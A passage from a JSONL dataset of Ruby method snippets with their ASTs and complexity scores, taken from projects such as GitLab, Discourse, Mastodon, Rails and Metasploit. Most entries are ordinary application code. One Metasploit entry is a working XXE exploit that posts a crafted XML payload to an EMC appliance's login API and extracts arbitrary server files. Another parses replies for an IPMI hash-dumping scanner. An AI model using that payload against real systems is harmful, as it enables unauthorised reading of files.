trace\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"current_path\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"ci_job_live_trace_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Trace\"]},\"ChunkedIO\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"ensure_path\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"needs_touch?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"touch\"]},null]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"close\"]}]}]}","id":"32d96bf4-8236-48dd-a7e6-57b585e07d78"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/lib/generators/spree/storefront/theme/theme_generator.rb","start_line":34,"raw_source":"def file_name\n            name.underscore\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"underscore\"]}]}","id":"b08c496e-91af-4a0f-8767-522cfe8c1f0d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/concerns/set_calculated_custom_field_values.rb","start_line":51,"raw_source":"def update_calculated_value_custom_fields\n      changed_cf_ids = model.custom_values.select(&:changed?).map(&:custom_field_id)\n\n      # Using unscope(where: :admin_only) to fix an issue when non admin user\n      # edits a custom field which is used by an admin only calculated value\n      # field. Without this unscoping, admin only value and all fields\n      # referencing it (recursively) will not be recalculated and there will\n      # even be no place for that recalculatin to be triggered unless an admin\n      # edits same value again.\n      #\n      # This may need to be handled differently to make it work for other custom\n      # field containers, like WorkPackage. User custom fields also has\n      # admin_only check.\n      affected_cfs = model.available_custom_fields.unscope(where: :admin_only).affected_calculated_fields(changed_cf_ids)\n\n      model.change_by_system do\n        model.calculate_custom_fields(affected_cfs)\n      end\n    end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_calculated_value_custom_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changed_cf_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"custom_values\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"changed?\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"affected_cfs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"available_custom_fields\"]},\"unscope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"sym\",\"children\":[\"admin_only\"]}]}]}]},\"affected_calculated_fields\",{\"type\":\"lvar\",\"children\":[\"changed_cf_ids\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"change_by_system\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"calculate_custom_fields\",{\"type\":\"lvar\",\"children\":[\"affected_cfs\"]}]}]}]}]}","id":"81d5303a-fc8b-4900-a73c-796bc21f2639"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/emc_cta_xxe.rb","start_line":46,"raw_source":"def run\n    doctype = Rex::Text.rand_text_alpha(6)\n    element = Rex::Text.rand_text_alpha(6)\n    entity = Rex::Text.rand_text_alpha(6)\n\n    pay = %Q{<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE #{doctype} [\n<!ELEMENT #{element} ANY >\n<!ENTITY #{entity} SYSTEM \"file://#{datastore['FILEPATH']}\" >]>\n<Request>\n<Username>root</Username>\n<Password>&#{entity};</Password>\n</Request>\n    }\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'api', 'login'),\n      'method' => 'POST',\n      'data' => pay\n    })\n\n    if !res or !res.body\n      fail_with(Failure::UnexpectedReply, \"Server did not respond in an expected way\")\n    end\n\n    file = /For input string: \"(.*)\"/m.match(res.body)\n\n    if !file or file.length < 2\n      fail_with(Failure::UnexpectedReply, \"File was unretrievable. Was it a binary file?\")\n    end\n\n    file = file[1]\n\n    path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])\n\n    print_good(\"File saved to: \" + path)\n  end","complexity_score":44.73,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doctype\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entity\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<!DOCTYPE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doctype\"]}]},{\"type\":\"str\",\"children\":[\" [\\n\"]},{\"type\":\"str\",\"children\":[\"<!ELEMENT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]}]},{\"type\":\"str\",\"children\":[\" ANY >\\n\"]},{\"type\":\"str\",\"children\":[\"<!ENTITY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]}]},{\"type\":\"str\",\"children\":[\" SYSTEM \\\"file://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\" >]>\\n\"]},{\"type\":\"str\",\"children\":[\"<Request>\\n\"]},{\"type\":\"str\",\"children\":[\"<Username>root</Username>\\n\"]},{\"type\":\"str\",\"children\":[\"<Password>&\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]}]},{\"type\":\"str\",\"children\":[\";</Password>\\n\"]},{\"type\":\"str\",\"children\":[\"</Request>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"pay\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Server did not respond in an expected way\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"For input string: \\\"(.*)\\\"\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"File was unretrievable. Was it a binary file?\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"emc.file\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved to: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"70b5873d-3d20-4e74-8559-3249b7447b96"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/controllers/discourse_subscriptions/user/payments_controller.rb","start_line":83,"raw_source":"def fetch_guest_payments(email)\n        guest_payments = []\n        starting_after = nil\n\n        begin\n          loop do\n            # Fetch charges in batches of 100, using pagination with starting_after\n            charges =\n              ::Stripe::Charge.list(\n                limit: 100,\n                starting_after: starting_after,\n                expand: [\"data.payment_intent\"],\n              )\n\n            charges[:data].each do |charge|\n              # Check if the charge is associated with the given email and has no customer ID\n              if charge[:billing_details][:email] == email && charge[:customer].nil?\n                guest_payments << charge\n              end\n            end\n\n            # Check if there are more charges to fetch\n            break if charges[:data].count < 100\n\n            # Set starting_after to the last charge's ID for the next batch\n            starting_after = charges[:data].last[:id]\n          end\n        rescue ::Stripe::StripeError => e\n          render_json_error e.message\n        end\n\n        guest_payments\n      end","complexity_score":40.35,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_guest_payments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"guest_payments\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"starting_after\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"charges\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"Charge\"]},\"list\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"starting_after\"]},{\"type\":\"lvar\",\"children\":[\"starting_after\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expand\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"data.payment_intent\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"charges\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"charge\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"charge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"billing_details\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"charge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"customer\"]}]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guest_payments\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"charge\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"charges\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"count\"]},\"<\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"starting_after\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"charges\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"last\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"StripeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"guest_payments\"]}]}]}","id":"969c763f-31d1-48d5-875d-c2e60598b725"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver/socks.rb","start_line":75,"raw_source":"def check_port port\n    if (1..65535).include? port and port.kind_of? Integer\n      port\n    else\n      raise ArgumentError, \"Port #{port} not valid\"\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_port\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[65535]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]},{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" not valid\"]}]}]}]}]}","id":"883a5d06-2f07-4f4d-bb35-1b5cf39b1216"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_config/worker.rb","start_line":76,"raw_source":"def retries\n        get_sidekiq_options['retry']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"retries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_sidekiq_options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"retry\"]}]}]}","id":"850a0cd1-6cd1-4907-b323-86c96d5b07b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/application_worker.rb","start_line":24,"raw_source":"def structured_payload(payload = {})\n      context = Gitlab::ApplicationContext.current.merge(\n        'class' => self.class.name,\n        'job_status' => 'running',\n        'queue' => self.class.queue,\n        'jid' => jid\n      )\n\n      build_structured_payload(**payload).merge(context)\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"structured_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"current\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job_status\"]},{\"type\":\"str\",\"children\":[\"running\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"queue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"jid\"]},{\"type\":\"send\",\"children\":[null,\"jid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_structured_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"55ec0f74-efaf-4677-bd97-902fae38eefb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/members/sorting_spec.rb","start_line":149,"raw_source":"def expect_sort_by(text, sort_direction)\n    within_testid('members-sort-dropdown') do\n      expect(page).to have_css('button[aria-haspopup=\"listbox\"]', text: text)\n      expect(page).to have_button(\"Sort direction: #{sort_direction == :asc ? 'Ascending' : 'Descending'}\")\n    end\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_sort_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"sort_direction\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_testid\",{\"type\":\"str\",\"children\":[\"members-sort-dropdown\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"button[aria-haspopup=\\\"listbox\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_button\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sort direction: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_direction\"]},\"==\",{\"type\":\"sym\",\"children\":[\"asc\"]}]},{\"type\":\"str\",\"children\":[\"Ascending\"]},{\"type\":\"str\",\"children\":[\"Descending\"]}]}]}]}]}]}]}]}]}","id":"b7cd6551-bec8-42ac-920f-1ca23bc00848"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/util.rb","start_line":178,"raw_source":"def array? exp\n    exp.is_a? Sexp and exp.node_type == :array\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"array?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"node_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"array\"]}]}]}]}","id":"9ccf09e2-707b-43f6-96e8-808964679773"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/ldap_auth_sources/row_component.rb","start_line":52,"raw_source":"def button_links\n      [test_link, delete_link].compact\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"button_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_link\"]},{\"type\":\"send\",\"children\":[null,\"delete_link\"]}]},\"compact\"]}]}","id":"7c4e4d35-9036-43d0-b85f-6b48d53c96d7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/cache_store_setting_test.rb","start_line":24,"raw_source":"def test_file_store_requires_a_path\n    assert_raises(ArgumentError) do\n      ActiveSupport::Cache.lookup_store :file_store\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_file_store_requires_a_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"lookup_store\",{\"type\":\"sym\",\"children\":[\"file_store\"]}]}]}]}","id":"2237a5fe-5e04-4621-99c3-dbcb5847cb08"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/app/controllers/calendar/calendars_controller.rb","start_line":68,"raw_source":"def destroy\n      if @view.destroy\n        flash[:notice] = t(:notice_successful_delete)\n      else\n        flash[:error] = t(:error_can_not_delete_entry)\n      end\n\n      redirect_to action: :index\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_delete\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"error_can_not_delete_entry\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]}]}","id":"d87d3cd7-bfd8-4728-abab-c21f6f6188d4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fan_out_on_write_service.rb","start_line":12,"raw_source":"def call(status, options = {})\n    @status    = status\n    @account   = status.account\n    @options   = options\n\n    check_race_condition!\n    warm_payload_cache!\n\n    fan_out_to_local_recipients!\n    fan_out_to_public_recipients! if broadcastable?\n    fan_out_to_public_streams! if broadcastable?\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"check_race_condition!\"]},{\"type\":\"send\",\"children\":[null,\"warm_payload_cache!\"]},{\"type\":\"send\",\"children\":[null,\"fan_out_to_local_recipients!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"broadcastable?\"]},{\"type\":\"send\",\"children\":[null,\"fan_out_to_public_recipients!\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"broadcastable?\"]},{\"type\":\"send\",\"children\":[null,\"fan_out_to_public_streams!\"]},null]}]}]}","id":"75242b28-51bb-47f8-908d-169baa1575a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb","start_line":253,"raw_source":"def process_opensession_reply(data, shost, sport)\n    shost = shost.sub(/^::ffff:/, '')\n    info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil\n    return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP\n\n    info\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_opensession_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"shost\"]},{\"type\":\"arg\",\"children\":[\"sport\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shost\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shost\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^::ffff:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"IPMI\"]},\"Open_Session_Reply\"]},\"new\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children